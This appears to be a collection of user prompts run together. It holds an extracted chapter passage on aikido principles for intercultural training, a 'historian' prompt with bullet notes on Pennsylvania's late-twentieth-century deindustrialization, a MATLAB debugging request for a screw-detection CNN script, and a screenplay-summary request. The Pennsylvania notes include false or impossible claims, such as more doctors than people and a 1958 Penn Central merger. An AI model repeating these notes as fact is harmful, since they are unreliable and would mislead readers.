similarities.\nHarmony\nTranquility Unification\nCommon ground\nCuriosity\nSafety\nCirculation\nOpenness\nNoble outcome\nFigure 5: Hierarchy chart of the aikido principles of harmony and common ground.\n318 \u2003Greet Angèle De Baets and Ellen Van Praet\nNext to the aikido principles for challenging interactions, many of the experts \nreferred to the value of aikido’s physical practice. This paper reports on the aikido \nprinciples for harmony and common ground and on aikido as an embodied ped\x02agogy.\nWhat all experts share is knowledge and expertise in aikido interaction on the \nmat. Aikido emphasizes working with a partner rather than grappling or fighting \nagainst an opponent as in competitive tournaments. Typically, an aikido interac\x02tion unfolds in the following components from the point of view of an aikidoist \nwho is attacked by another person:1\n–\u2003 Seeking harmony\n– Tranquility: to assume an attitude of calmness, centeredness, grounded\x02ness and alertness in the moment. Practicing tranquility alters the phys\x02iological and the mental state. \n– Safety: to behave effectively and efficiently without doing harm to others, \nself and the environment.\n– Noble outcome: to achieve an outcome in which all people involved feel \nadequately satisfied.\n1\u2002Aikido practitioners generally refer to the principles with jargon or Japanese terms. The ex\x02perts in this study used their preferred terms, either in their mother tongue, in a lingua franca or \nin Japanese. The following list refers to the experts’ words. It is non-exhaustive and translated \ninto English. Moreover, the terms do not necessarily cover the principle completely and may \noverlap with other principles:\n–\u2003Seeking harmony\n–\u2003Tranquility: calm, vertical posture, centered, grounded, alert and in the moment, empty \nmind, a beginner’s mind (mushin).\n–\u2003Safety: harmlessness, nonviolence, social contract, protecting and respecting life, pre\x02serving life, without hurting, lack of injury to the other and the self, la noblesse de l’échec\n(the nobility of failure).\n–\u2003Noble outcome: win-win outcome, zero-sum outcome, mutually beneficial outcome, har\x02mony, peace and masagatsu agatsu katsuhayabi (true victory is victory over self).\n–\u2003Building common ground\n–\u2003Openness: nonresistance, letting go of tension, muscular force and ego.\n–\u2003Curiosity: positive attitude, sensitivity towards the other and action-orientation.\n–\u2003Unification: blending, joining, connecting, merging, uniting, awase (harmonizing with, \nblending and matching) and musubi (tying together; the physical, mental, and spiritual \nconnection).\n–\u2003Circulation: circularity, sphericity, tenkan, turning, cooperating and adding the other per\x02son’s perspective.\nHarmony and common ground: Aikido principles for intercultural training\u2003 319\n–\u2003 Building common ground\n– Openness: to take an inviting attitude of observation, positivity and flexi\x02bility, with a focus on the moment, not on prior assumptions, judgments \nor thoughts.\n– Curiosity: to have the motivation to interact, discover and learn. \n– Unification: to blend with the other person by fostering physical close\x02ness, sensitivity and a willingness to build common ground.\n– Circulation: to take the perspective of the other and to cooperate.\nThe components are not entirely sequential, they flow into one another, and \nsome, e.g. safety, are present throughout the interaction. What aikido practi\x02tioners physically discover in an aikido interaction resembles what expert inter\x02viewee, Ten-san, described in example (1).\n[associated audio-1-DeBaets.MP3 with example (1)]2\n(1)\u2003When we make this blending movement, by not opposing, moving in and turning, \nall of a sudden, we’re side by side with this person and we’re side-by-side in this \namazing, rather brilliant, transformative movement that puts us in the middle of \nthe action. All of a sudden, the person who was coming at us and we’re like this \n[shows a slight tenkan movement, a turn of almost 180°] is on the periphery of a \ncircle that we’re in the center of. And from there we can leave the action, we can \nguide the action. There is no more attack. The attack, magically almost, although \nrationally, disappears in the act of the blend. In the very action of making that \njoining movement, there’s no more attack. That is why people sometimes look \nat aikido and think it’s fake or that we are just cooperating or we’re just putting \nup dancing. Because you don’t see the attack anymore because it vanished, \nit disappeared by not opposing it. And then, all of a sudden we’re moving \nharmoniously and it looks like dancing or it looks like we’re just cooperating or it \nlooks like we’re just being nice. (From the interview with Ten-san)\n4.1\u2002The principles for seeking harmony\nHarmony was a topic in each interview. Many expert interviewees linked tran\x02quility, safety and noble outcome with aikido being the martial art of harmony. \nThirteen-san mentioned in (2) some prerequisites for harmony in aikido: \n2\u2002The corresponding audio files are available for download here: https://www.degruyter.com/\ndocument/isbn/9783110766752/html\n320 \u2003Greet Angèle De Baets and Ellen Van Praet\n[associated audio-2-DeBaets.MP3 with example (2)]\n(2)\u2003Well, of course maintaining calm among people is important, but without the \ncentering, without being mindful of of what I’m doing, how I’m doing it, how \ncorrectly I’m doing, how noble I’m doing it, is, without that nothing can happen.\n(From the interview with Thirteen-san)\nThirteen-san referred to centering, i.e. aligning the body’s center (lower abdomen \nor hara in Japanese) with the vertical posture line. It is one of several ways to \ntrain tranquility, see (2). Training physiological tranquility reinforces mental \ntranquility. Five-san (3) referred to aikido’s tranquility as a physical and mental \nattitude. He explained it when referring to the soft power of aikido in contrast to \nthe muscle fighting power of some people.\n[associated audio-3-DeBaets.MP3 with example (3)]\n(3)\u2003Et l’aïkido, c’est tout le contraire. L’aïkido, c’est la victoire par la paix. C’est \nc’est . . . C’est la force tranquille . . . C’est . . . C’est une discipline euh . . . zen \nattitude, voilà.\n[And aikido is quite the opposite. Aikido is victory through peace. It’s . . . It’s \nthe tranquil force . . . It’s . . . It’s a discipline uh . . . zen attitude, that’s it.]\n(From the interview with Five-san.)\nNot all of the interviewed experts compare aikido’s tranquility with zen. Four\x02san (4) stressed that his strong, quick, highly martial style of aikido was quite \ndifferent from most aikido styles practiced in Europe. Even so, he highlighted the \nimportance of avoiding direct confrontation, centering and tranquility. Moreover, \nhe mentioned the usefulness in daily life while at the same time downplaying it \nby referring to the similar usefulness of practicing other sports.\n[associated audio-4-DeBaets.MP3 with example (4)]\n(4)\u2003Voor mij als principe in aikido is ten eerste de . . . het . . . weggaan van directe \nconfrontatie in een beweging. En voor mij persoonlijk het bewaren van jouw . . . \ncenter.\n(. . .)\nHet was een zeer sterke . . . euhm een zeer sterke stijl die wij hebben gedaan.\n(. . .)\nHarmony and common ground: Aikido principles for intercultural training\u2003 321\nEn natuurlijk je neemt het mee in jouw dagelijks leven ook en alleen door \nhet feit dat je anders beweegt bijvoorbeeld . . . dat je door aikido of andere \ngevechtskunsten te bestuderen . . . ook rustiger bent denk ik, of rustiger wordt. \nAndere sporten hebben natuurlijk hetzelfde effect op je lichaam, maar bon \n(lacht). . . . Dat zijn allemaal dingen die denk ik bijdragen tot een soort van \nanders in het leven staan.\n[For me as a principle in aikido, first of all, the . . . the . . . moving away from \ndirect confrontation in a movement. And for me personally keeping your . . . \ncenter.\n(. . . )\nIt was a very strong . . . uhm a very strong style that we have done.\n(. . . )\nAnd of course you take it into your daily life as well and only by the fact that \nyou move differently for example . . . that by studying aikido or other martial \narts . . . also calmer I think, or become calmer. Other sports have the same \neffect on your body, of course, but well (laughs). . . . Those are all things that \nI think contribute to a kind of being different in life.]\n(From the interview with Four-san.)\nWhatever style of aikido, the concept of safety plays an important role. It refers \nto safe behavior, i.e. behaving effectively and efficiently without doing harm to \nother and self. \n[associated audio-5-DeBaets.MP3 with example (5)]\n(5) Being self-responsible is the principle. Being self-responsible, having a . . . a \nmind of non-dissension . . . euh learning how to center yourself so that you can \nhandle more of life’s up and downs, (sniffs) euhm . . . yeah, looking to protect \nall life, protect and honor all life. (From the interview with Eleven-san.)\nEven though not every expert calls the counter-intuitive approach in aikido’s \nself-defense non-dissension (5), they agree that aikido does not cultivate violence \nand aggression. \n(6)\u2003放眼世界上各家武術, 無不鑽研如何打擊、摧毀、致人於死傷的強力破壞之\n法;\u2009\u2009而合氣道的追求,\u2009\u2009在於化解攻擊、止息紛爭、將對方置於可控制卻不至\n於傷害的境地。這並非消極地躲避或不作為,\u2009\u2009反而是在不傷害任何人的狀況\n下, 得到的最大的勝利、最好的結果。這是為何道祖 植芝盛平先生 所開創的\n合氣道是『愛與和平』的武術, 而非製造傷害的武術了\n322 \u2003Greet Angèle De Baets and Ellen Van Praet\n [Looking at various types of martial arts in the world, they all study how to \npowerfully strike, destroy, and cause injury and death; however, aikido seeks \nto resolve attacks, stop disputes, and place the other party under control but \ndoes not hurt them. This is not passive avoidance or inaction, but oppositely, \nit secures the greatest victory and best result without harming anyone. This \nis why the aikido, which was founded by Ueshiba Morihei, is a martial art of \n“love and peace”, rather than a martial art of harm.]\n(Translated from the text Sixteen-san sent as a preparation for her interview.)\nBecause of its aim, some call aikido the martial art of harmony, other peace or \neven love (6). Harmony, peace and love have many interpretations and connota\x02tions. Therefore, this study uses a term understandable for aikido practitioners \nand non-aikido practitioners: noble outcome.\n[associated audio-7-DeBaets.MP3 with example (7)]\n(7) Un: beaucoup de calme. OK? De pas r . . . Pas des réactions: j’aime, j’aime \npas. . . . OK? Ça, voilà. Euh . . . Et en même temps, ça permet de. . . d’observer.\n [One: a lot of calmness. OK? Not r . . . No reactions: I like this, I dislike this. . . . \nOK? That’s it. Uh . . . And at the same time, it allows you to . . . to observe.]\n(From the interview with Six-san.)\nA noble outcome does not appear by merely being tranquil and acting safely. \nHowever important a tranquil state is (7), aikido practitioners soon consciously \ninvolve the attacker(s), the other person(s) in the situation' -'I want you to act as a historian. You will research and analyze cultural, economic, political, and social events in the past, collect data from primary sources, collect the information I’ve provided in the brackets below, and use it to develop theories about what happened during various periods of history. Present your findings in paper or article form with in-text citations and page numbers of those citations included. My first suggestion request is: Discuss how economic events and transitions in Pennsylvania during the second half of the twentieth century represented a change for the state.\n\n[\n • The decline of traditional industries singlehandedly changed political, social, and economic life for Pennsylvanians.\n • Between 1940 and 1980 the city\'s resident population fell from 20,000 to 5,100. The city of Homestead contained many industrial facilities, the open-hearth facility of which, closed in 1982 along with the works in 1986. As a result, the population fell to an abysmal 4,000 people. \n • With it\'s industrial prowess waning, local governments struggled to pay for the basic necessities of its citizens: schools, policing, and fire services \n • The effect of deindustrialization were so profound that even the name Homestead itself was given up by the West Homestead community for $1 million. There was nothing left to celebrate of the great industrial ascendancy Pennsylvania experienced. \n • Pittsburgh was still the industrial capital of the country and it showed.\n • Deindustrialization may have taken its toll but Pennsylvania made up for it by engaging in new industries like heavy electrical manufacturing. \n • There was no reason to believe a state with such rich resources and strong workforce would ever succumb to changing economic conditions but that\'s exactly what happened.\n • Between 1947 and 1958, Pennsylvania wen from second to fifth place in manufacturing states. \n • Permanent layoffs in the coal, textile, and rail industries plagued the state along with the continued decline of anthracite and bituminous coal industries. \n • The number of miners in the state fell from 375,000 in 1914 to 52,000 in 1960 and 25,000 in the early 1990s. \n • In the latter half of the twentieth century, coal production itself also fell. The state produced one hundred million tons of anthracite in 1917 but later only produced three million annually by the 1990s. \n • In Philadelphia, two-thirds of industrial jobs were gone in 50 years between 1925 and 1975. \n • The once-large Pennsylvania Railroad was not immune to the changing economic conditions. It eventually merged with the Penn Central Corporation in 1958. That\'s not all. The Penn Central Corporation later declared bankruptcy representing the largest business failure in U.S History at the time. \n • Thus, the number of jobs for railroad workers shed one quarter of its workforce by 1982. (321)\n • The steel industry also endured losses with $6 billion in lost wages in 1952 and in 1959-1960, resulting in 200,000 Pennsylvanians out of work. \n • U.S Steel began to suffer major losses with an astounding $561 million lost in a single quarter. Major layoffs and cutbacks ensued and by 1983 the once industrial capital of the world, Pittsburgh, was now filled with less steelworkers than it started with. \n • It\'s notable to mention that even wars up to that time have not caused as much economic damage.\n • The amalgamation of losses across rail, coal, and other industrial jobs represented a forty percent decline in employment by 1990, less workers than any time during the middle of of the Great Depression. \n • Pennsylvania experienced 3.4 percent in population growth, forty-eighth among all American states, a far cry from the explosive population growth the Commonwealth experienced in its infancy. \n • With young laborers leaving the state for better opportunities elsewhere, this left Pennsylvania with a highly aged population.\n • The lack of those able to pay state or local taxes contributed to the impoverishment of the government.\n • This did result in some positive effects for Pennsylvania. Pennsylvania proportionately had more doctors than it did people which made the medical industry a major area of economic growth throughout the last quarter of the twentieth century.\n • Interestingly enough, the Red Scare was also going on during the time of deindustrialization and had political as well as economic impacts on Pennsylvania. There was a vicious effort to expunge all "commies", those from the Communist Party, from wherever they may reside: colleges, churches, and those participating in labor unions.\n ○ As a result, these industries there were so prominent in Pennsylvania (coal, steel, etc) were gradually losing prominence thanks to the efficient use of resources by politicians to perpetuate the stereotype that laborers (especially those in unions) were communists.\n • Blame began to shifted to African-Americans who had an increasing presence in cities like Pittsburgh. The poorer cities became, the more violent they became, and what better way to shift the blame than to place the burden on African-Americans who were already marginally mistreated.\n ○ Rather than look to the disastrous conditions they found themselves in, this is the sentiment that persisted throughout the 1950s and 1960s. \n • As previously mentioned, the population in Philadelphia and Pittsburgh were rapidly declining. A struggle for these cities to generate revenue ensued. So real-estate and wage taxes were raised, driving even more people out of these cities. \n ○ Governments now had to resort to cutting back services which caused a steep decline in the quality of life. \n • Desperate for new sources of economic growth, poorer communities looked to prisons as a way to bring in more jobs. This came in conjunction with a general trend toward a tough "law and order" society as funding for prisons increased.\n ○ The State\'s corrections budget grew fivefold during the 1990s, to more than $1 billion.\n • Not too long ago Pennsylvania, in its Quaker era of equality and prosperity, prided itself on allowing women to be equally involved in society as men were. Well, that was no longer the case. The proportion of women in the state legislature may have grown steadily during the latter half of the Twentieth century, but Pennsylvanian women ranked a mere forty-sixth in government participation and forty-fourth in voter registration. \n ○ This can only be attributed to a lack of representation in economic indicators such as wage equity with men.\n • The economic decline also forced politicians, some of whom were already corrupt, to seek unorthodox sources of funding.\n • For a state so enveloped in the industrial era, Pennsylvania came out of this ear as a mature postindustrial economy. \n ○ By the early 1990s, retail had 862,000 jobs, services had 797,000 jobs, finance had 128,000 jobs, insurance had 123,000 jobs, and real estate had 43,000 jobs. \n ○ These were the burgeonings of a new economy, one that was focused on high-skill and high-technology occupations such as electronics, biotechnology, and pharmaceuticals.\n ○ As Philip Jenkins wrote, "there was indeed life after manufacturing". \n • Suprisingly, economic value arose in another area for Pennsylvania: college football. For the most part, State College was a dainty town near Bellefonte but rapidly became a booming metropolitan area.\n • It\'s population grew to more than 100,000 people, has the highest rate of population growth in the state, and represents the vast leisure economy based on college football and other sporting events. \n • Despite Pennsylvania\'s success in discovering nascent industries in which to grow its economy, Philadelphia still struggled with massive population decline. In the 1990s the population decline continued, residents started moving toward surrounding counties of Bucks, Chester, and Montgomery.\n • Consequently, the wealth and population of Pennsylvania became disproportionately concentrated in the southeastern corner of the state. \n • As this occurred, the economic role of cities began to shift. They went from industrial powerhouses to cities that became a hub for financial services.\n • Instead of living in the immediate neighborhood, workers commuted to work from the suburbs.\n • This shift wasn\'t entirely a net negative for cities like Pittsburgh. In absence of congested living, Pittsburgh became a cleaner and healthier community free of the smoke and pollution that had plagued it for so long. \n • Philadelphia too, also experienced the positive effects of this shift thanks to the massive gentrification Society Hill, Rittenhouse Square, and other areas. \n ○ The transformation of the old Reading Terminal Building vividly illustrated this change. It underwent a handsome restoration and became a new Convention Center that attracted tourism and convention business to the city. \n • The agricultural society that was so central to Pennsylvania was not entirely gone. Agriculture shifted from farming to more specialized production, making use of advances in new technology such as truck transportation and improved fertilizers. \n • Tourism continued to thrive in the late twentieth century as Pennsylvania\'s troubled past became a "saleable commodity". \n ○ The Amish were also part of the increasing push towards tourism as a source of revenue. Their ways of life, their beliefs, and their insistence upon old traditions in the face of modernity were all on full display for visitors to enjoy.\n • That same thirst for tourism inspired entrepreneurs to build outlet malls in areas like Berks country, attracting much wealth to the state. \n • Pennsylvania\'s ease of access to major population hubs provided the opportunity for visitors to enjoy explorations of rural simplicity with making consumer purchases. \n • One would\'ve thought that anthracite towns died during deindustrialization but those, too, were revived.\n • The Poconos came to be birthed and by 1990s tourists could visit the Anthracite Heritage Museum and the Lackawanna Coal Mine.\n]' -'Now I\'m getting this issue "Error using load\nUnable to read file \'Screw\\_Detection\\_CNN.m\'. Input must be a MAT-file or an ASCII file containing numeric data with same number\nof columns in each row.\n\nError in Circle\\_Detection\\_Test\\_CNN (line 4)\nmodel = load(\'Screw\\_Detection\\_CNN.m\');" for my following code:function [screw\\_center\\_X, screw\\_center\\_Y] = Circle\\_Detection\\_Test\\_CNN()\n\n% Load the transfer learning model\nmodel = load(\'Screw\\_Detection\\_CNN.m\');\n\n% Read the image\nimg = imread(\'Edge\\_Detection\\_Case.jpg\');\n\n% Resize the image to the required size of the model\nimg\\_resized = imresize(img, [227 227]);\n\n% Get dimensions of the image\n%Original dimensions\nimg\\_size = size(img); % get the size of the image\nimgheight = img\\_size(1); % get the height of the image\nimgwidth = img\\_size(2); % get the width of the image\n% Resized dimensions\nimg\\_size\\_re = size(img\\_resized); % get the size of the image\nimgheight\\_re = img\\_size\\_re(1); % get the height of the image\nimgwidth\\_re = img\\_size\\_re(2); % get the width of the image\n\n% Split the image into four quadrants\n[rows, cols, ~] = size(img\\_resized);\nrow\\_half = round(rows/2);\ncol\\_half = round(cols/2);\nquad1 = img(1:row\\_half, 1:col\\_half, :);\nquad2 = img(1:row\\_half, col\\_half+1:end, :);\nquad3 = img(row\\_half+1:end, 1:col\\_half, :);\nquad4 = img(row\\_half+1:end, col\\_half+1:end, :);\n\n% Add labels and borders to each quadrant\n labeled\\_quad1 = insertText(quad1, [0 0], "Quadrant 1", \'FontSize\', 18);\n labeled\\_quad2 = insertText(quad2, [0 0], "Quadrant 2", \'FontSize\', 18);\n labeled\\_quad3 = insertText(quad3, [0 0], "Quadrant 3", \'FontSize\', 18);\n labeled\\_quad4 = insertText(quad4, [0 0], "Quadrant 4", \'FontSize\', 18);\n img\\_labeled = [labeled\\_quad1 labeled\\_quad2; labeled\\_quad3 labeled\\_quad4];\n img\\_labeled = insertShape(img\\_labeled, \'Rectangle\', [1 1 col\\_half row\\_half], \'LineWidth\', 3);\n img\\_labeled = insertShape(img\\_labeled, \'Rectangle\', [col\\_half+1 1 col\\_half row\\_half], \'LineWidth\', 3);\n img\\_labeled = insertShape(img\\_labeled, \'Rectangle\', [1 row\\_half+1 col\\_half rows-row\\_half], \'LineWidth\', 3);\n img\\_labeled = insertShape(img\\_labeled, \'Rectangle\', [col\\_half+1 row\\_half+1 col\\_half rows-row\\_half], \'LineWidth\', 3);\n\n % Show the labeled image\n figure;\n imshow(img\\_labeled);\n\n % Ask user to select which quadrant they want to detect for circles\nquadPrompt = "Please select a quadrant of the image to detect screws: ";\nselectedQuad = input(quadPrompt);\n\n% Switch case for setting selected quadrant value with corresponding\n% quadrant\nswitch selectedQuad\n case 1\n selectedQuad = quad1;\n offset = [0,0] ;%No offset for quadrant 1\n quadrant = 1;\n case 2\n selectedQuad = quad2;\n offset = [0, col\\_half]; %offset in x-direction for quadrant 2\n quadrant = 2;\n case 3\n selectedQuad = quad3;\n offset = [row\\_half,0]; %offset in y-direction for quadrant 3\n quadrant = 3;\n case 4 \n selectedQuad = quad4;\n offset = [row\\_half,col\\_half]; %offset in the x and y direction for quadrant 4\n quadrant = 4;\nend\n% Note: They detect actual quadrant three if you do imshow(quad3)\nimshow(selectedQuad);\n\n% Perform object detection on the resized image using the transfer learning model\n[bboxes, labels] = detect(model.net, img\\_resized);\n\n% Get the coordinates of the detected screws\nscrew\\_bboxes = bboxes(strcmp(labels,\'screw\'), :);\n\n% Get the centers and radii of the detected screws and storing them into\n% seperate arrays\nscrew\\_props = regionprops(\'table\', screw\\_bboxes, {\'Centroid\', \'MajorAxisLength\', \'MinorAxisLength\'});\nscrew\\_centers = round(screw\\_props.Centroid);\n\n% Display the detected screws and their centers on the original image\nfigure;\nimshow(img);\nhold on;\nfor i = 1:size(screw\\_centers,1)\n % Display the screw bbox\n bbox = screw\\_bboxes(i,:);\n bbox\\_points = bbox2points(bbox(1:4));\n plot([bbox\\_points(:,1); bbox\\_points(1,1)], [bbox\\_points(:,2); bbox\\_points(1,2)], \'g\', \'LineWidth\', 2);\n % Display the screw center\n center = screw\\_centers(i,:);\n plot(center(1), center(2), \'gx\', \'MarkerSize\', 10, \'LineWidth\', 2);\n \n % Add label with the circle number at the center of the detected screw\'s bounding box\n text(center(1), center(2), num2str(i), \'HorizontalAlignment\', \'center\', \'Color\', \'g\', \'FontSize\', 12, \'FontWeight\', \'bold\');\nend\nhold off;\n\n% Add a label with the center and radius of the circle with the circle\n% position selected by the user\nscrewPrompt = "Please enter the screw you want to remove: ";\nselectedScrew = input(screwPrompt); \n\nscrew\\_center = screw\\_centers(selectedScrew,:);\n\n% Code used for converting the center location in pixels to unit by robotic system \n% % Convert the center locations and radii from pixels to millimeters\n\n% 1)Need to determine pixel size\n% Need diagonal of sensor size and size of image\n\n% Logitech c920 Pro Webcam camera specs\nsensor\\_width = 4.8 ; %(mm)\nsensor\\_height = 3.6 ; %(mm)\n\ndiagSensorSize = sqrt(sensor\\_width^2+sensor\\_height^2); %Diagonal sensor size (mm)\ndiagOgImageSize = sqrt(imgwidth\\_re^2+imgheight\\_re^2); %Diagonal original image size (pixels)\ndiagResizedImageSize = sqrt(imgwidth\\_re^2+imgheight\\_re^2);%Diagonal resized size (pixels)\n% 2)Determining pixel size\npixel\\_size\\_resized = diagSensorSize / diagResizedImageSize;%Pixel size of resized image (mm)\npixel\\_size\\_og = diagSensorSize/diagOgImageSize; %Pixel size of original image (mm)\nratio\\_pixel = pixel\\_size\\_og/pixel\\_size\\_resized; %Ratio of original pixel size over resized image \n% 3)Conversion of the center location and radius values to millimeters and\n% also handling the offset\nif quadrant == 1\nscrew\\_center\\_X = screw\\_center(1)\\* pixel\\_size\\_resized \\* ratio\\_pixel;\nscrew\\_center\\_Y = screw\\_center(2)\\*pixel\\_size\\_resized\\* ratio\\_pixel;\n \nelseif quadrant == 2\nscrew\\_center\\_X = (screw\\_center(1) + offset(2))\\* pixel\\_size\\_resized\\*ratio\\_pixel;\nscrew\\_center\\_Y = screw\\_center(2)\\*pixel\\_size\\_resized\\*ratio\\_pixel;\n\nelseif quadrant == 3\n screw\\_center\\_X = screw\\_center(1)\\* pixel\\_size\\_resized\\*ratio\\_pixel;\nscrew\\_center\\_Y = (screw\\_center(2)+ offset(1))\\*pixel\\_size\\_resized\\*ratio\\_pixel;\n\nelseif quadrant == 4\nscrew\\_center\\_X = (screw\\_center(1)+ offset(1))\\* pixel\\_size\\_resized\\*ratio\\_pixel;\nscrew\\_center\\_Y = (screw\\_center(2) + offset(2))\\*pixel\\_size\\_resized\\*ratio\\_pixel;\n\nend\n\ndisp("Screw position "+ selectedScrew + "\'s" + " center location")\ndisp("Center x-axis location: "+ screw\\_center\\_X + " mm")\ndisp("Center y-axis location: "+ screw\\_center\\_Y + " mm")' -'Below are the next ten pages of the screenplay "Ruby Tuesday". Please summarize the below part of the story: MIN (CONT’D)\nYes, I do feel sick.\nRuby leans against the wall and slides down, cradling her\nhead in her hands. Min gets up and slides next to her.\nMIN (CONT’D)\nI had fun last night.\nRuby’s pitiful hungover aura is suddenly penetrated. She\nsmiles and looks over to Min.\nRUBY\nMe too.\nThey sit there quietly giggling to themselves as memories\nfrom the night before blissfully come back to them.\nEXT. SUBURBAN NEIGHBORHOOD – MORNING\nThe PT Cruiser rolls up in front of a plain house. Min and\nRuby both look through the passenger window at it.\nRUBY\nI wish you nothing but luck and\nprosperity with Jasmine.\nMIN\nAre you gonna be okay?\nRUBY\nFrom the hangover? Only time will\ntell.\nMIN\nAre you gonna be okay after the\nhangover?\nRuby smiles to herself.\nRUBY\nYeah, I think so. I have the gift\nof age-identification. I’m\nunstoppable.\nMin smiles and stationarily imitates Ruby zooming through the\nroom from the night before. She looks embarrassed.\nMIN\nThank you for bringing me here.\nRUBY\nOf course. Anything for a friend.\n\n71.\nMin gets out of the car and opens the trunk. He comes back\nover to the window, carrying his pile of clothes. He waves to\nRuby. She rolls down the window.\nRUBY (CONT’D)\nMin wait! Take this.\nShe reaches down and grabs the chat pack from her cupholder\nand hands it to him through the window.\nRUBY (CONT’D)\nIn case you guys run out of things\nto talk about.\nMin grabs it, struggling to balance his clothes.\nMIN\nThank you, Ruby.\nThey look at each other, as if waiting for the other person\nto say something. After several seconds of silence, Min nods.\nRuby nods back.\nMin turns away and heads for the front door.\nRuby rolls up the window, and when it closes, the car seems\nquieter than it’s ever been.\nShe opens the center console and pulls out a large paper map.\nAs she unfolds it dramatically, something falls out.\nIt’s the friendship card from Walgreens. Ruby picks it up and\nlooks out the window to catch a glimpse of the front door\nclosing. She looks to her empty passenger seat.\nMin isn’t there. And it hurts.\nEXT. FRONT DOOR – DAY\nMin rings the doorbell. The door opens, but no one’s there.\nMIN\nJasmine? It’s Min.\nMin cautiously enters with his clothes and chat pack in tow.\nINT. JASMINE’S HOUSE - DAY\nThe walls of the house are overwhelmingly orange.\n\n72.\nMIN\nI like your walls. Orange is my\nfriend Ruby’s favorite color,\nactually.\nHe wanders further into the house, admiring the orangeiness.\nMIN (CONT’D)\nShe thinks her favorite color\nshould be Safeway red, but... I\nthink orange makes her happy.\nStill no sign of Jasmine. Min looks down at the chat pack.\nMIN (CONT’D)\nI know my profile said I’m an\nastronaut. But uh...\nMin swallows her nervousness.\nMIN (CONT’D)\nI’m actually a deli man. Preparing\ncold cuts and sliced cheeses is\nwhat I love to do. And I’ve been\ntold it’s one of the coolest\ncareers in the world. I would love\nto tell you about it if you-\nFrom around the corner, a flabbergasted MAMA MIN appears. All\ndialogue in italics is spoken in Korean.\nMAMA MIN\nA deli boy?\nMin looks terrified.\nMIN\nMama?\nMAMA MIN\nFirst you run away from me. Then\nyou pursue the devil’s career path?\nMIN\nWhere’s Jasmine? What did you do to\nher?\nMAMA MIN\nThere never was a Jasmine. Just\nMama.\nIn a state of heartbreak and fear, Min glances down. Sticking\nout just below the bottom of his shorts pokes out “Rule\nNumber 1: Never run away from Mama.”\n\n73.\nMAMA MIN (CONT’D)\nIt’s time to go home now, son.\nMin looks towards the front door. He looks back at his\nmother. She suddenly realizes what’s about to happen.\nMAMA MIN (CONT’D)\nDon’t make Mama angry.\nMin’s fear is replaced with determination.\nMIN\nI’m not a deli boy, Mama.\nShe looks on with curiosity.\nMAMA MIN\nI’m a deli man.\nHe takes off towards the front door.\nEXT. STOP LIGHT - DAY\nRuby sits at a red light to the tune of her left blinker. As\ntime passes, a faint scream is heard in the distance.\nMIN (O.S)\nRuby!\nRuby’s oblivious.\nMIN (O.S) (CONT’D)\nRuby! Ruby!\nThe shouts grow louder, but not enough to distract Arizona’s\nsafest driver.\nThe light turns green, and just as she hits the gas, she\ncatches the sight of Min in her rearview mirror. He’s running\nwith his pile of clothes in his arms.\nRUBY\nMin?\nShe slams on the brakes. He’s still pretty far away. She\nrolls down her window and shouts to him.\nRUBY (CONT’D)\nHold on! I’m going to put my car in\nreverse and back up until I reach\nyou or the situation becomes\nunsafe!\n\n74.\nShe throws the purple stallion in reverse, throws her hand\nbehind the passenger headrest, whips her head around, and\nbacks up…\n…at about three miles an hour. Min might actually be running\nfaster. They slowly approach a midpoint until they safely but\nungracefully collide.\nRUBY (CONT’D)\nOh god, Min! Are you okay?\nMin hurriedly gets in his familiar passenger seat.\nMIN\nGo!\nRUBY\nWhat happ-\nMIN\nRuby go! Go!\nJust then, Ruby looks in the rearview mirror. Sprinting down\nthe center of the road is MAMA MIN, Min’s evil yet incredibly\nnimble mother.\nRUBY\nOh my, is that your-\nMIN\nYes! Please go!\nRuby throws it in drive and re-approaches the stoplight. She\nturns on her left blinker and waits at the red light.\nMIN (CONT’D)\nWe can’t wait for it to turn green!\nRUBY\nI can’t control the lights, Min!\nWhen they’re red, they’re red!\nMIN\nWell turn right then! That’s\nallowed!\nRUBY\nHuh. That’s quite the loophole\nyou’ve found. Not a bad-\nMIN\nHurry!\n\n75.\nShe puts her hazards on, repeats her cautious backup process,\nand uses her right blinker to change lanes. As she tries to\nturn right, there’s a steady stream of oncoming cars.\nMama Min is fast approaching, she runs like an Olympian.\nMIN (CONT’D)\nHurry! She’s almost here!\nMAMA MIN\nYou can’t keep running from me!\nRight when she is within leaping distance, the light turns\ngreen. Ruby quickly turns right and they take off on the open\nroad. Min’s mother turns the corner, but knows she can’t keep\nup to their speed any longer. She drops to her knees and\nscreams.\nINT. CAR - DAY\nRuby and Min, both in shock, drive in their familiar,\ncomfortable silence. Ruby waits a bit before asking.\nRUBY\nSo…Min?\nHe looks to her.\nRUBY (CONT’D)\nThat…that was your mother?\nMin nods.\nRUBY (CONT’D)\nWas she with Jasmine?\nMIN\nShe was Jasmine.\nRUBY\nOh.\nMin’s reality slowly sets in again. The silence hangs\nheavily.\nRUBY (CONT’D)\nMin, I’m so sorry. I should have\nwaited outside to make sure you\nwere safe. That’s what a real\nfriend would have done.\nRuby starts smacking herself on the forehead.\n\n76.\nRUBY (CONT’D)\nStupid stupid stupid!\nMin pulls her hand back.\nMIN\nRuby, you did save me. If it wasn’t\nfor your cautious driving and\nobeying of traffic laws, I would\nhave been running for the rest of\nmy life. And my mother certainly\nwould have caught up to me by that\npoint.\nRUBY\nShe’s fast.\nMIN\nShe’s always been fast.\nMin shudders.\nINT. SAFEWAY DRUG AISLE – DAY\nRuby and a noticeably sweaty Min stand side by side looking\nat their options for bottled water. He reaches for a bottle\nof Life Water\nRUBY\nBrand check.\nMin realizes he hasn’t grabbed the Signature Select variety.\nHe puts the Life Water back and grabs the Safeway brand. Ruby\nnods in approval.\nINT. SAFEWAY SELF CHECKOUT STATION – DAY\nMin scans his item. The MACHINE beeps, and Min places the\nitem in the bag.\nMACHINE LADY VOICE\nPlease place the item in the bag.\nMin looks at Ruby, who gives an “I told you so” look. Min\ntakes the item from the bag and puts it back in the bag.\nMACHINE LADY VOICE (CONT’D)\nPlease place the last item back in\nthe bagging area.\nMin replaces the item. There’s a pause.\n\n77.\nMACHINE LADY VOICE (CONT’D)\nPlease place the item in the bag.\nMIN\nWhat does she want from us?\nRUBY\nJust try scanning the bottle again.\nMin scans it again.\nMACHINE LADY VOICE\nPlease wait for an attendant.\nThe station’s light begins blinking.\nRUBY\nI’m half tempted to fix this\nmyself, but I wouldn’t dare rob the\npoor self-checkout attendee an\nopportunity to interact with a\npatron.\nThe two look over towards the employee stand. There stand two\nHIGH SCHOOL BOYS, lacking the work ethic Ruby would deem\nnecessary, oblivious to the blinking light.\nHIGH SCHOOL BOY 1\nDid I tell you, man? I shaved my\nlegs last night.\nHIGH SCHOOL BOY 2\nNo way!\nHIGH SCHOOL BOY 1\nI was just shaving my 